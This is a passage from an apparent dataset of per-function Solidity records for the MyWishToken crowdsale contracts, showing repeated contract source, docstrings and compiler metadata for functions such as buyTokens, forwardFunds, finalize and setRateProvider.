soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
|
// low level token purchase function
|
LineComment
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
2201,
3025
]
}
| 55,484 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
forwardFunds
|
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
|
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
|
LineComment
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
3138,
3235
]
}
| 55,485 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
validPurchase
|
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
|
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
3366,
3734
]
}
| 55,486 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
hasEnded
|
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
|
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
3895,
4023
]
}
| 55,487 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Crowdsale
|
contract Crowdsale {
using SafeMath for uint;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint32 internal startTime;
uint32 internal endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint public weiRaised;
/**
* @dev Amount of already sold tokens.
*/
uint public soldTokens;
/**
* @dev Maximum amount of tokens to mint.
*/
uint internal hardCap;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet) {
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_hardCap > 0);
token = createTokenContract();
startTime = uint32(_startTime);
endTime = uint32(_endTime);
hardCap = _hardCap;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
/**
* @dev this method might be overridden for implementing any sale logic.
* @return Actual rate.
*/
function getRate(uint amount) internal constant returns (uint);
function getBaseRate() internal constant returns (uint);
/**
* @dev rate scale (or divider), to support not integer rates.
* @return Rate divider.
*/
function getRateScale() internal constant returns (uint) {
return 1;
}
// fallback function can be used to buy tokens
function() payable {
buyTokens(msg.sender, msg.value);
}
// low level token purchase function
function buyTokens(address beneficiary, uint amountWei) internal {
require(beneficiary != 0x0);
// total minted tokens
uint totalSupply = token.totalSupply();
// actual token minting rate (with considering bonuses and discounts)
uint actualRate = getRate(amountWei);
uint rateScale = getRateScale();
require(validPurchase(amountWei, actualRate, totalSupply));
// calculate token amount to be created
uint tokens = amountWei.mul(actualRate).div(rateScale);
// update state
weiRaised = weiRaised.add(amountWei);
soldTokens = soldTokens.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, amountWei, tokens);
forwardFunds(amountWei);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds(uint amountWei) internal {
wallet.transfer(amountWei);
}
/**
* @dev Check if the specified purchase is valid.
* @return true if the transaction can buy tokens
*/
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = _amountWei != 0;
bool hardCapNotReached = _totalSupply <= hardCap;
return withinPeriod && nonZeroPurchase && hardCapNotReached;
}
/**
* @dev Because of discount hasEnded might be true, but validPurchase returns false.
* @return true if crowdsale event has ended
*/
function hasEnded() public constant returns (bool) {
return now > endTime || token.totalSupply() > hardCap;
}
/**
* @return true if crowdsale event has started
*/
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
}
|
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
*
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
|
NatSpecMultiLine
|
hasStarted
|
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
|
/**
* @return true if crowdsale event has started
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
4096,
4196
]
}
| 55,488 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
FinalizableCrowdsale
|
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function FinalizableCrowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet)
Crowdsale(_startTime, _endTime, _hardCap, _wallet) {
}
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner notFinalized {
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overriden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
modifier notFinalized() {
require(!isFinalized);
_;
}
}
|
finalize
|
function finalize() onlyOwner notFinalized {
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
|
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
486,
652
]
}
| 55,489 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
FinalizableCrowdsale
|
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function FinalizableCrowdsale(uint _startTime, uint _endTime, uint _hardCap, address _wallet)
Crowdsale(_startTime, _endTime, _hardCap, _wallet) {
}
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner notFinalized {
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overriden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
modifier notFinalized() {
require(!isFinalized);
_;
}
}
|
finalization
|
function finalization() internal {
}
|
/**
* @dev Can be overriden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
861,
907
]
}
| 55,490 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishCrowdsale
|
contract MyWishCrowdsale is usingMyWishConsts, FinalizableCrowdsale {
MyWishRateProviderI public rateProvider;
function MyWishCrowdsale(
uint _startTime,
uint _endTime,
uint _hardCapTokens
)
FinalizableCrowdsale(_startTime, _endTime, _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER, COLD_WALLET) {
token.mint(TEAM_ADDRESS, TEAM_TOKENS);
token.mint(BOUNTY_ADDRESS, BOUNTY_TOKENS);
token.mint(PREICO_ADDRESS, PREICO_TOKENS);
MyWishToken(token).addExcluded(TEAM_ADDRESS);
MyWishToken(token).addExcluded(BOUNTY_ADDRESS);
MyWishToken(token).addExcluded(PREICO_ADDRESS);
MyWishRateProvider provider = new MyWishRateProvider();
provider.transferOwnership(owner);
rateProvider = provider;
}
/**
* @dev override token creation to integrate with MyWill token.
*/
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
/**
* @dev override getRate to integrate with rate provider.
*/
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
function getBaseRate() internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, MINIMAL_PURCHASE);
}
/**
* @dev override getRateScale to integrate with rate provider.
*/
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
function setHardCap(uint _hardCapTokens) onlyOwner notFinalized {
require(_hardCapTokens * TOKEN_DECIMAL_MULTIPLIER > hardCap);
hardCap = _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER;
}
function setStartTime(uint _startTime) onlyOwner notFinalized {
require(_startTime < endTime);
startTime = uint32(_startTime);
}
function addExcluded(address _address) onlyOwner notFinalized {
MyWishToken(token).addExcluded(_address);
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
if (_amountWei < MINIMAL_PURCHASE) {
return false;
}
return super.validPurchase(_amountWei, _actualRate, _totalSupply);
}
function finalization() internal {
super.finalization();
token.finishMinting();
MyWishToken(token).crowdsaleFinished();
token.transferOwnership(owner);
}
}
|
createTokenContract
|
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
|
/**
* @dev override token creation to integrate with MyWill token.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
928,
1040
]
}
| 55,491 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishCrowdsale
|
contract MyWishCrowdsale is usingMyWishConsts, FinalizableCrowdsale {
MyWishRateProviderI public rateProvider;
function MyWishCrowdsale(
uint _startTime,
uint _endTime,
uint _hardCapTokens
)
FinalizableCrowdsale(_startTime, _endTime, _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER, COLD_WALLET) {
token.mint(TEAM_ADDRESS, TEAM_TOKENS);
token.mint(BOUNTY_ADDRESS, BOUNTY_TOKENS);
token.mint(PREICO_ADDRESS, PREICO_TOKENS);
MyWishToken(token).addExcluded(TEAM_ADDRESS);
MyWishToken(token).addExcluded(BOUNTY_ADDRESS);
MyWishToken(token).addExcluded(PREICO_ADDRESS);
MyWishRateProvider provider = new MyWishRateProvider();
provider.transferOwnership(owner);
rateProvider = provider;
}
/**
* @dev override token creation to integrate with MyWill token.
*/
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
/**
* @dev override getRate to integrate with rate provider.
*/
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
function getBaseRate() internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, MINIMAL_PURCHASE);
}
/**
* @dev override getRateScale to integrate with rate provider.
*/
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
function setHardCap(uint _hardCapTokens) onlyOwner notFinalized {
require(_hardCapTokens * TOKEN_DECIMAL_MULTIPLIER > hardCap);
hardCap = _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER;
}
function setStartTime(uint _startTime) onlyOwner notFinalized {
require(_startTime < endTime);
startTime = uint32(_startTime);
}
function addExcluded(address _address) onlyOwner notFinalized {
MyWishToken(token).addExcluded(_address);
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
if (_amountWei < MINIMAL_PURCHASE) {
return false;
}
return super.validPurchase(_amountWei, _actualRate, _totalSupply);
}
function finalization() internal {
super.finalization();
token.finishMinting();
MyWishToken(token).crowdsaleFinished();
token.transferOwnership(owner);
}
}
|
getRate
|
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
|
/**
* @dev override getRate to integrate with rate provider.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1124,
1270
]
}
| 55,492 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishCrowdsale
|
contract MyWishCrowdsale is usingMyWishConsts, FinalizableCrowdsale {
MyWishRateProviderI public rateProvider;
function MyWishCrowdsale(
uint _startTime,
uint _endTime,
uint _hardCapTokens
)
FinalizableCrowdsale(_startTime, _endTime, _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER, COLD_WALLET) {
token.mint(TEAM_ADDRESS, TEAM_TOKENS);
token.mint(BOUNTY_ADDRESS, BOUNTY_TOKENS);
token.mint(PREICO_ADDRESS, PREICO_TOKENS);
MyWishToken(token).addExcluded(TEAM_ADDRESS);
MyWishToken(token).addExcluded(BOUNTY_ADDRESS);
MyWishToken(token).addExcluded(PREICO_ADDRESS);
MyWishRateProvider provider = new MyWishRateProvider();
provider.transferOwnership(owner);
rateProvider = provider;
}
/**
* @dev override token creation to integrate with MyWill token.
*/
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
/**
* @dev override getRate to integrate with rate provider.
*/
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
function getBaseRate() internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, MINIMAL_PURCHASE);
}
/**
* @dev override getRateScale to integrate with rate provider.
*/
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
function setHardCap(uint _hardCapTokens) onlyOwner notFinalized {
require(_hardCapTokens * TOKEN_DECIMAL_MULTIPLIER > hardCap);
hardCap = _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER;
}
function setStartTime(uint _startTime) onlyOwner notFinalized {
require(_startTime < endTime);
startTime = uint32(_startTime);
}
function addExcluded(address _address) onlyOwner notFinalized {
MyWishToken(token).addExcluded(_address);
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
if (_amountWei < MINIMAL_PURCHASE) {
return false;
}
return super.validPurchase(_amountWei, _actualRate, _totalSupply);
}
function finalization() internal {
super.finalization();
token.finishMinting();
MyWishToken(token).crowdsaleFinished();
token.transferOwnership(owner);
}
}
|
getRateScale
|
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
|
/**
* @dev override getRateScale to integrate with rate provider.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1511,
1626
]
}
| 55,493 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishCrowdsale
|
contract MyWishCrowdsale is usingMyWishConsts, FinalizableCrowdsale {
MyWishRateProviderI public rateProvider;
function MyWishCrowdsale(
uint _startTime,
uint _endTime,
uint _hardCapTokens
)
FinalizableCrowdsale(_startTime, _endTime, _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER, COLD_WALLET) {
token.mint(TEAM_ADDRESS, TEAM_TOKENS);
token.mint(BOUNTY_ADDRESS, BOUNTY_TOKENS);
token.mint(PREICO_ADDRESS, PREICO_TOKENS);
MyWishToken(token).addExcluded(TEAM_ADDRESS);
MyWishToken(token).addExcluded(BOUNTY_ADDRESS);
MyWishToken(token).addExcluded(PREICO_ADDRESS);
MyWishRateProvider provider = new MyWishRateProvider();
provider.transferOwnership(owner);
rateProvider = provider;
}
/**
* @dev override token creation to integrate with MyWill token.
*/
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
/**
* @dev override getRate to integrate with rate provider.
*/
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
function getBaseRate() internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, MINIMAL_PURCHASE);
}
/**
* @dev override getRateScale to integrate with rate provider.
*/
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
function setHardCap(uint _hardCapTokens) onlyOwner notFinalized {
require(_hardCapTokens * TOKEN_DECIMAL_MULTIPLIER > hardCap);
hardCap = _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER;
}
function setStartTime(uint _startTime) onlyOwner notFinalized {
require(_startTime < endTime);
startTime = uint32(_startTime);
}
function addExcluded(address _address) onlyOwner notFinalized {
MyWishToken(token).addExcluded(_address);
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
if (_amountWei < MINIMAL_PURCHASE) {
return false;
}
return super.validPurchase(_amountWei, _actualRate, _totalSupply);
}
function finalization() internal {
super.finalization();
token.finishMinting();
MyWishToken(token).crowdsaleFinished();
token.transferOwnership(owner);
}
}
|
setRateProvider
|
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
|
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1748,
1938
]
}
| 55,494 |
|||
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
MyWishCrowdsale
|
contract MyWishCrowdsale is usingMyWishConsts, FinalizableCrowdsale {
MyWishRateProviderI public rateProvider;
function MyWishCrowdsale(
uint _startTime,
uint _endTime,
uint _hardCapTokens
)
FinalizableCrowdsale(_startTime, _endTime, _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER, COLD_WALLET) {
token.mint(TEAM_ADDRESS, TEAM_TOKENS);
token.mint(BOUNTY_ADDRESS, BOUNTY_TOKENS);
token.mint(PREICO_ADDRESS, PREICO_TOKENS);
